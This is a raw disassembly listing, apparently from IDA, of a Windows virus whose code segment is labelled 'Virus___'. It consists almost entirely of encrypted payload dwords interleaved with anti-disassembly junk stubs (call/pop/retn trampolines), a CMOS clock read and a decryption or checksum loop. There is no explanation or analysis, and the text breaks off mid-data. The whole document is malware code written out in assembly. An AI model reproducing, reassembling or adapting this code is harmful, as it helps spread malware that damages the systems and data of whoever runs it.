66095D22h, 0C6F98Bh, 0DBDDBB00h dd 85C71973h, 95D0545h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5B3453 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3453 proc near ; CODE XREF: Virus___:005B344Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B3453 endp ; --------------------------------------------------------------------------- db 0E8h dd 12F9581Bh, 0E9919Ah, 9FFFFF3h, 5D0EF5B5h, 0BFC18B09h dd 274C6A2Ch, 2239858Dh, 0B752095Dh, 66505FA6h, 489DA8Bh dd 0DABF6624h, 0BB006A70h, 5D3E2AE8h, 0DB81006Ah, 5E39F78Ah dd 0EF65BF66h, 8ABD858Dh, 10E90961h, 2000000h, 0FBFCCECBh dd 495DF507h, 0CDDBD521h, 8321D88Ah, 0F38105C0h, 230A7B55h dd 0AE890h, 0C7BF0000h, 99A46EDCh, 0E58CA359h, 0BE60505Fh dd 78A227D8h, 9061E3B3h, 0E5953152h, 5F095D22h, 0FE8B006Ah dd 8166006Ah, 81CF8DCFh, 22A244D3h, 5195FF75h, 6A095D08h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8BB1C357h, 5D065DBDh, 0FB8B6609h, 914C8D8Dh dd 6A0960h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 3BB7A0C3h, 9D23D1FFh, 95D21C1h, 971BD83h dd 0F01095Dh, 8C85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 6633C57Fh, 890F09BFh dd 5D0AF58Dh, 0E9026A09h, 10h, 0DEDFF242h, 0D2B47B31h dd 1A2B305Dh, 75854021h, 830F5090h, 0Ch, 0BB665250h, 310F2FCBh dd 585A6160h, 0B58B6090h, 95D2655h, 61D6BF0Fh, 14C995FFh dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0AADBDCC3h, 0BFC000Ah, 5D04BD9Dh, 0E2AE909h dd 0E80000h, 5D000000h, 8AC7ED81h, 9E90961h, 0C8000000h dd 3C782CD5h, 0C35B62Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 7CC35343h, 81663F12h, 8DEA65DFh, 608AE285h dd 0D8BF0F09h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 90C35747h, 1E202082h, 0F0F8747h, 0FF64D9B7h dd 35h, 0DD858900h, 64095D0Ch, 2589h, 0F600000h, 9D01FEBFh dd 95D0C85h, 6985FF61h, 6A095D21h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5265C357h dd 870FCEB6h, 0 ; --------------------------------------------------------------------------- loc_5B36AC: ; CODE XREF: Virus___:005B440Cj push 0FFFFFFFFh push 0 push eax call sub_5B36B9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B36B9 proc near ; CODE XREF: Virus___:005B36B1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5B36B9 endp ; --------------------------------------------------------------------------- db 17h, 26h, 91h dd 43457188h, 8B188EF7h, 5D1B2D9Dh, 95B5FF09h, 0E8095D19h dd 0Ch, 0CF3457DBh, 244F6066h, 517CEDB9h, 1115BD8Bh, 0FF5F095Dh dd 5D038595h, 12DE909h, 850F0000h, 6, 189D9D31h, 0B0095Dh dd 13E9h, 0B3AA3A00h, 0BED8E139h, 925C1DC9h, 7B541F0Eh dd 84084749h, 0BF0F70E6h, 3371E4F9h, 5D10B9BDh, 0F613C09h dd 0F283h, 12E900h, 0F8090000h, 0B347CAA5h, 0BEB36144h dd 0E09FA3F2h, 33A64BD1h, 66C8B60Fh, 0BAABA1BBh, 6, 12AD9589h dd 0C18B095Dh, 0C7BBBB66h, 6604E8C1h, 0FBCDF781h, 0FE2F766h dd 8Bh, 89C82B00h, 5D164D95h, 0E9D18B09h, 0A3h, 9E00BB66h dd 13880Fh, 0EE90000h, 0C000000h, 0D6A4AD79h, 21C272D4h dd 0E04E3418h, 89858BB6h, 57095D21h, 8E9h, 0BD6D8300h dd 324C73D6h, 0DA8B5FA3h, 6607C083h, 0C083DF8Bh, 0F9DA8B00h dd 830FD03Bh, 17h, 56E9h, 6E800h, 0D9A50000h, 0CA01B051h dd 29D8D31h, 8B5B095Dh, 5D24858Dh, 8D895309h, 95D1125h dd 0DDBD295Fh, 83095D09h, 840F01E1h, 27h, 56EF8166h, 85A5834Bh dd 0FE095D24h, 1D31BD0Bh, 8B66095Dh, 899589FAh, 66095D21h dd 66E080BFh, 0E9D88Bh, 8D000000h, 60FDECB5h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 9D635F0Bh, 6AA9CFh, 0B9B589F5h, 0FF095D06h, 5D11B195h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F5209Dh, 75958921h, 0B9095D1Fh, 86Eh, 1EEF8166h dd 0FCE18348h, 992DEB81h, 0BFFC236Ch, 31B8A47Ch, 7E8h dd 8A7EC000h, 3D509AABh, 5BFB8B66h, 6AC02Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FEDBBC3h dd 484h, 82BB6600h, 0BA16h, 0B2B70000h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 70C35040h, 6AA673h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0FEA92DC3h, 8E298C87h dd 880D761Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 154C353h, 83D64D86h dd 87855A56h, 6890Fh, 0BD8B0000h, 95D2255h, 919958Bh, 6A095Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F5374AC3h, 8B94CB80h, 5D13498Dh, 11E909h, 1B0D0000h dd 0B7B7910Fh, 85A5158Dh, 222462D8h, 50F04211h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1BE3A7E7h dd 0E9DBA1B5h, 0Bh, 0CBEDCEEAh, 44C8DD43h, 0E96DE6E4h dd 0Dh, 0FCE8C9C3h, 0D83695CDh, 0DE45BA7Dh, 69BD831Fh dd 95D31h, 82840Fh, 95890000h, 95D0F8Dh, 0B8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8ABB7AA4h, 8D40BBDCh, 5D4D928Dh, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 3BE57345h dd 7D9D9930h, 11CD9D2Bh, 0E1FF095Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0AFC35242h, 85898197h, 95D2689h dd 15F9BD83h, 0F00095Dh, 49484h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 75115F49h dd 0FA8B36F6h, 15F9BD83h, 0F01095Dh, 47F84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 9217B1C3h, 31C0A4A7h, 5D2A4D9Dh, 0A1BD8B09h, 83095D18h dd 5D15F9BDh, 860F0309h, 40Eh, 17DDBD8Bh, 8B60095Dh, 0D98C66D8h dd 0EE8h, 0BB2CE00h, 9722FA60h, 5E928C5Ah, 0BF7649B8h dd 44F81BAFh, 148E0F5Fh, 0E9000000h, 0Fh, 0C343F15Ch, 7633474Ah dd 0A3462486h, 80541493h, 6A04E1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0D3DE31C3h, 43C6C7D9h dd 0FC90A6Eh, 15584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 11E918E7h, 3D000000h dd 2F41543Dh, 481A606Bh, 0AADD8518h, 0C1712CBCh, 2C0D858Bh dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3D0438C3h, 0DF8B6015h, 853361F5h, 95D2765h dd 526050F8h, 8C1CBF66h, 13E858h, 21500000h, 0E31E249Eh dd 579CB740h, 94E8D1FFh, 0C3E836E5h, 58C7B199h, 24048961h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h dd 14E8h, 8185500h, 6FEDEACFh, 6478445Ch, 0C409E118h, 3BFBA081h dd 5E9FEh, 138E0000h, 5FA24C03h, 31DBD8Bh, 6A095Dh, 18B1B531h dd 9D8B095Dh, 95D1869h, 400E6568h, 240481A3h, 5CDEF59Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 77C35343h dd 8B08CB80h, 5D14419Dh, 0AD95FF09h, 6A095D0Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 90C6C352h, 29E4B291h, 5D19319Dh, 89F4B309h, 60A56485h dd 3880F09h, 0F000000h, 0ACE9F8BFh, 66000001h, 858BDF8Bh dd 960A55Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0CDC35040h, 75197A46h, 667BA36Eh, 8B66FB8Bh, 1800C7FAh dd 81000000h, 0D64C7AE7h, 60B58B56h, 8B0960A5h, 5D315185h dd 895F5709h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 8F4FD11Ch, 0C1BD8BB2h, 8B095D10h dd 5D2C0D85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 3980F4A8h, 0DA8BD860h, 8B044689h dd 5D10D59Dh, 75B75009h, 8B243489h, 5D3391BDh, 5CB5FF09h dd 6A0960A5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 6841C353h, 61C03B55h, 0A0DE1368h dd 0F9D3BF1Fh, 34814BA5h, 0BFDDEC24h, 50006A1Fh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8D492784h, 60A56485h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0D40022ADh, 0BB31CF4h dd 6880F50h, 0F000000h, 84h, 24048900h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h, 8E0F15C0h dd 17h, 12E9h, 585CC300h, 0F3CBBD80h, 668192E1h, 0C7CA2532h dd 80561EE1h, 95FFF5C3h, 95D0FADh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0B0C35646h, 6655D5A3h, 3195898Eh dd 61095D15h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0BEC35242h, 2AFE0244h, 62860C00h, 0F985C7D2h, 3095D15h dd 89000000h, 5D289D9Dh, 64BD8309h, 960A5h, 60840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 442F54C3h, 0F1EF81ADh, 8E9CCh, 247A0000h dd 83B8483Ah, 0FD8AAC50h, 44E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0E8A526B3h dd 0D5E9EB28h, 1091BD09h, 3050095Dh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 74F4EC97h dd 10E9ADh, 28320000h, 5BE710B5h, 1694106h, 2908D241h dd 9589BE32h, 95D1165h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0C0C35747h, 13E949h, 8FCD0000h, 3A5A340h dd 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0F9BD8325h, 3095D15h dd 426850Fh, 8D890000h, 95D12BDh, 0A564BD83h, 0F000960h dd 41384h, 0E98D8900h, 0FF095D29h, 60A564B5h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 45A5D573h, 8E9h, 338A5600h, 35CFD9CBh, 10E9575Bh, 87000000h dd 59E61893h, 77283422h, 6012EF0Ch, 5BBF357Bh, 0A4195FFh dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 36162CC3h, 2057A75Bh, 0CF8166AFh, 0B58B819Ah dd 960A558h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 9CC35040h, 0E8597CB5h, 6588056Ch, 106C7F1h, 6A000100h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 6338C350h, 966C1144h, 0B350FA8Bh, 0BD8B966Bh dd 95D094Dh, 0A564B5FFh, 0BD030960h, 95D032Dh, 270ADEBBh dd 0FD95FF42h, 6A095D05h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FF7C357h, 138Dh, 7E800h dd 0D1370000h, 10365DD0h, 31BD8B3Eh, 5B095D1Bh, 21ACCB81h dd 0B58B6D4Ah, 960A558h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 95C35343h, 0D1719CB9h, 0CB16CBCAh, 9E9h dd 0A6485800h, 9C295AA2h, 858B3E01h, 95D304Dh, 0CE87CB3h dd 0C8000000h, 8179B86Eh, 33B47A03h, 29C3A14Dh, 5D0A2195h dd 86895F09h, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 89C35141h, 828D5252h, 0EFBF5DFBh, 19958B0Fh dd 8B095D09h, 5D1B31BDh, 0D8BF0F09h, 8B04C283h, 5D2515BDh dd 20508909h, 858DBFB3h, 960BBC1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0D1C35545h, 99704A52h, 0B886895Dh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F3FAC353h, 42C78166h, 6A006AA8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 8824C352h, 73B6C16Ah, 8B63C9ACh, 64B5FFFBh dd 0E80960A5h, 5, 5E24DE48h, 0EF81661Ah, 0FF5F81F0h, 5D14C995h dd 61850109h, 96095D18h, 20FABB66h, 840F6050h, 6, 310F5250h dd 0BF66585Ah, 96619AF4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 3FC35747h, 0D59D8B47h, 0FF095D02h, 60A564B5h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0AA2F1A91h, 0D59D89D6h, 0F5095D10h, 137D95FFh dd 9D89095Dh, 95D075Dh, 19D1BD83h, 0F00095Dh, 4A84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 1F0E925Ch, 47497B54h, 6890Fh, 9D890000h, 95D07C9h, 17658D31h dd 8B96095Dh, 0FE8B50DFh, 7E896h, 7FE80000h, 2A939ABh dd 0FF5FF531h, 60A564B5h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F8AD3AF3h dd 1471BD2Bh, 95FF095Dh, 95D2F95h, 0BD8B6051h, 95D148Dh dd 3231858Bh, 5B61095Dh, 0A564B5FFh, 95FF0960h, 95D1795h dd 74A6C4BBh, 11BD8303h, 2095D0Bh, 6C840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 55EBA4C3h, 0AE914DCh, 0C7000000h, 0A6979ED2h, 0CDA58DC7h dd 8BFC8AA4h, 5D221585h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 2B54C84Dh, 5D16359Dh dd 0B5BF6609h, 0C6AFh, 48B0Fh, 0BF660000h, 85C7693Bh, 95D0545h dd 0 ; --------------------------------------------------------------------------- mov [ebp+95D19E5h], edx mov edi, [ebp+95D0745h] jmp loc_5B36AC ; --------------------------------------------------------------------------- mov di, dx mov eax, ecx mov [ebp+95D2301h], esi lea eax, [ebp+95D2239h] push 0 push ebp call sub_5B442D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B442D proc near ; CODE XREF: Virus___:005B4425p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B442D endp ; --------------------------------------------------------------------------- db 0Ch, 0ABh, 66h dd 50E6CABBh, 0AE8h, 3FEEFB00h, 0B3878BF8h, 0E967CE04h dd 5, 72A7D01Bh, 4895B83h, 5E924h, 17610000h, 66A14642h dd 7130C781h, 6AF5006Ah, 1850900h, 8D095D1Fh, 619ACE85h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 12FD0EA0h, 60902B56h, 17800Fh, 12E90000h dd 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh, 65E03379h dd 818D8999h, 61095D31h, 0F05C083h, 0E890DFB7h, 11h, 9AEE1CA1h dd 6222C785h, 99B38AD6h, 900C0A8Eh, 12E9E7h, 0D4BE0000h dd 0B360DADAh, 1730190Fh, 0FAB2D70Bh, 8843089Ch, 9E9505Bh dd 0A3000000h, 59F744A9h, 74EEAE61h, 0D9B70F90h, 18559D33h dd 6A095Dh, 6AF98B66h, 31852900h, 0FF095D25h, 5D085195h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0F774F613h, 425E5C89h, 13459D8Bh, 8D8D095Dh dd 960914Ch, 0CE9h, 0C0D54400h, 0CBAC557Bh, 721D8F40h dd 0BFD1FF91h, 72AEDD4Dh, 971BD83h, 0F01095Dh, 8185h, 55BD8B00h dd 6A095D05h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0DF8B66BFh, 0CFBB6650h, 240489DBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 41C35646h dd 665138C8h, 0FFF593BBh, 5D14C995h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 671DA23Bh dd 7695F91h, 6459589h, 0E5E9095Dh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 9619AD8h push 0 push eax call sub_5B461A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B461A proc near ; CODE XREF: Virus___:005B4612p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5B461A endp ; --------------------------------------------------------------------------- dw 288Eh dd 67B21201h, 0A66D42FCh, 72DB8166h, 4D9D2B1Bh, 6A095D09h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 7C8BC353h, 931AEDD7h, 0D9B70F52h, 68C0F5Bh dd 0F000000h, 8Fh, 0E2858D00h, 0F809608Ah, 49CCCF81h, 0F90446Ch dd 8Fh, 8B665000h, 8E890DEh, 0C9000000h, 15D9E148h, 5B3B3AC9h dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 1E53C351h, 23B21610h dd 8AC68B29h, 258964F8h, 0 ; --------------------------------------------------------------------------- call sub_5B46E0 neg byte ptr ds:0A0BE7153h sahf xchg eax, ebp mov ecx, 0CAD1719Ch retf ; --------------------------------------------------------------------------- push ss ; =============== S U B R O U T I N E ======================================= sub_5B46E0 proc near ; CODE XREF: Virus___:005B46CCp and edi, [ebp+95D32D1h] pop ebx inc dword ptr [ebp+95D2169h] sbb di, 6781h push esi mov di, 7814h pop edi push 0FFFFFFFFh push 0 push edx call sub_5B4705 and [edx-3Dh], bl sub_5B46E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B4705 proc near ; CODE XREF: sub_5B46E0+1Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B4705 endp ; --------------------------------------------------------------------------- fisttp word ptr [ecx] push dword ptr [ebp+95D2449h] ja loc_5B4731 pusha mov [ebp+95D286Dh], edi or ecx, [ebp+95D136Dh] popa loc_5B4731: ; CODE XREF: Virus___:005B471Dj call dword ptr [ebp+95D0385h] jmp loc_5B484F ; --------------------------------------------------------------------------- jmp loc_5B4747 ; --------------------------------------------------------------------------- aam 27h pop ecx icebp mov dh, 0A3h loc_5B4747: ; CODE XREF: Virus___:005B473Cj mov al, 0 xor bl, 32h out 70h, al ; CMOS Memory: ; used by real-time clock in al, 71h ; CMOS Memory jno loc_5B475C sub ebx, [ebp+95D11DDh] loc_5B475C: ; CODE XREF: Virus___:005B4750j cmp al, 61h jnb loc_5B484F xor bh, 0D4h movzx ecx, al mov edx, 6 jmp loc_5B4784 ; --------------------------------------------------------------------------- dd 37B2C23Dh, 365DD0D1h, 0A9E23E10h, 7A5BCB45h ; --------------------------------------------------------------------------- loc_5B4784: ; CODE XREF: Virus___:005B476Fj mov eax, ecx call sub_5B4798 pusha mov eax, ds:5F19B418h popa hlt ; --------------------------------------------------------------------------- sub ecx, [esi] setalc push cs wait ; =============== S U B R O U T I N E ======================================= sub_5B4798 proc near ; CODE XREF: Virus___:005B4786p pop edi pusha movzx ecx, cx push edi mov al, 0Fh pop edi popa shr eax, 4 or edi, [ebp+95D2A0Dh] mul dx pusha jmp loc_5B47BD ; --------------------------------------------------------------------------- dd 0DE3D2F03h, 7A5DAC87h ; --------------------------------------------------------------------------- dec esi loc_5B47BD: ; CODE XREF: sub_5B4798+17j movzx eax, ax popa sub ecx, eax mov edx, ecx mov ebx, [ebp+95D28D9h] jmp loc_5B484F ; --------------------------------------------------------------------------- sub [ebp+95D21A9h], edx mov eax, [ebp+95D3185h] pusha sub esi, [ebp+95D2741h] popa add eax, 7 or [ebp+95D0419h], esi add eax, 0 mov edi, 121FE414h cmp edx, eax jnb loc_5B4816 sbb ebx, 10B2E3A9h push esi mov edi, [ebp+95D328Dh] pop ebx jmp loc_5B484F ; --------------------------------------------------------------------------- mov edi, [ebp+95D3219h] loc_5B4816: ; CODE XREF: sub_5B4798+5Fj mov ecx, [ebp+95D29A9h] mov [ebp+95D13E1h], esi and ecx, 1 jz loc_5B484F mov [ebp+95D0C5Dh], edx and dword ptr [ebp+95D29A9h], 0FFFFFFFEh mov [ebp+95D318Dh], edi mov [ebp+95D3185h], edx mov edi, [ebp+95D0381h] jmp $+5 loc_5B484F: ; CODE XREF: Virus___:005B4737j ; Virus___:005B475Ej ... lea esi, [ebp+96107EDh] push 0 push edx call sub_5B4860 and [edx-3Dh], bl sub_5B4798 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B4860 proc near ; CODE XREF: sub_5B4798+C0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B4860 endp ; --------------------------------------------------------------------------- cmc mov ebx, [ebp+95D0C3Dh] js loc_5B487E clc loc_5B487E: ; CODE XREF: Virus___:005B4877j push 0 push 0 push edx call sub_5B488B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B488B proc near ; CODE XREF: Virus___:005B4883p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B488B endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- sbb ebx, 8DBCE22h call dword ptr [ebp+95D11B1h] mov edi, [ebp+95D2909h] mov di, 0E220h mov ecx, 7D2h sub ebx, [ebp+95D0645h] and ecx, 0FFFFFFFCh push 0 push edi call sub_5B48CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B48CB proc near ; CODE XREF: Virus___:005B48C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B48CB endp ; --------------------------------------------------------------------------- db 19h dd 86C28915h, 858947C8h, 95D17E9h, 0CBC3EF81h, 23FC6F78h dd 5D03B19Dh, 14E809h, 0AFC0000h, 2129C9C2h, 4A619D35h dd 1CAF052Dh, 6F6FF67Ch, 0F60294Eh, 8Bh, 0BE800h, 0B6070000h dd 0B8783869h, 3645A253h, 5B615A88h, 6AC02Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0F13D88C3h dd 0DB589D2h, 0BA095D07h, 0 ; --------------------------------------------------------------------------- or bl, 0BEh loc_5B4957: ; CODE XREF: Virus___:005B4961j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5B4957 or [ebp+95D2BB9h], ecx push 0 push eax call sub_5B4974 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4974 proc near ; CODE XREF: Virus___:005B496Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5B4974 endp ; --------------------------------------------------------------------------- dd 6CDD3F79h, 8E0F50A8h, 6, 64A9CF81h, 0D5F19B5h, 88h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E0C35141h dd 13E959h, 58F90000h, 6DEBBC77h, 0A3292BF5h, 0AF7C439Ch dd 5EB6E2EDh, 19958BB4h, 0F095D09h, 0C82h, 68A0F00h, 31000000h dd 5D31F985h, 498D8B09h, 6A095D13h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C95C350h dd 0E9B96805h, 0E06C55BBh, 0D98B5F50h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 51006AD9h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0D509E067h, 0E851F573h, 0Dh, 4DD18ABCh, 36E0CEE7h, 0BE655F3Dh dd 0C38166CCh, 835BA31Bh, 5D3169BDh, 840F0009h, 73h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C2C35545h, 9D89C4E3h dd 95D2321h, 0B8h, 1D852900h, 0B7095D14h, 928D8D7Ch, 0E9095D4Dh dd 13h, 2874B18Eh, 0D40674B7h, 0ECD17E2h, 0F47C3AC0h, 0FF275044h dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 925C1DC9h, 83541F0Eh, 5D15F9BDh, 840F0009h dd 476h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 3AC35141h, 8374C937h, 5D15F9BDh, 840F0109h, 465h dd 0F9BD83F9h, 3095D15h, 421860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 896050C3h dd 0E98589A7h, 60095D05h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 31C35141h, 306410DCh, 88BC2688h, 0E99CB732h dd 10h, 500A5ACDh, 3866570Dh, 86FD1ACFh, 0CE0EB331h, 0F8D98C66h dd 0F04E180h, 0C90AD8BFh, 167840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 748776C3h dd 9398E4D6h, 0BD8B47BBh, 95D0F05h, 33B99D09h, 858B095Dh dd 95D2C0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 9DC35545h, 45F5FF1Bh, 11E88Fh, 106D0000h, 0F7903C0Fh dd 113451D5h, 0A21E157Ch, 5BCAFEA2h, 27658533h, 6A095Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0C6F7EBC3h, 6A9772F3h, 0E8530736h, 0Ah, 0C105D764h dd 0AB73E3BFh, 0FA8BB56Dh, 60505B5Fh, 11E8h, 0E26C2F00h dd 0AD52B2FFh, 0FCB7208Fh, 91BAA1B2h, 95B4E0B4h, 0F52505Fh dd 8Bh, 8B310F00h, 61585AFBh, 60240489h, 92901EBFh, 6A610Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8AC35242h dd 0F88BAA8Dh, 0A3D1E368h, 81F88B46h, 0D21C2434h, 0BF0F46BCh dd 0AD95FFF8h, 6A095D0Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 180DC357h, 0CF5A4010h dd 648589F8h, 660960A5h, 4BD1CB81h, 1EEE9h, 11E900h, 57410000h dd 0A36491CAh, 0B8AE2369h, 114CE839h, 890A1F44h, 5D0955BDh dd 5C858B09h, 660960A5h, 0C7E5EBBBh, 1800h, 0FE900h, 39B30000h dd 0C9BED8E1h, 0E925C1Dh, 497B541Fh, 5FF95647h, 0A560B58Bh dd 7E90960h, 91000000h, 23E1B23Ch, 8B661526h, 51858BF9h dd 60095D31h, 10E9h, 649CF600h, 9BE62A0Ch, 126ADB9Ch, 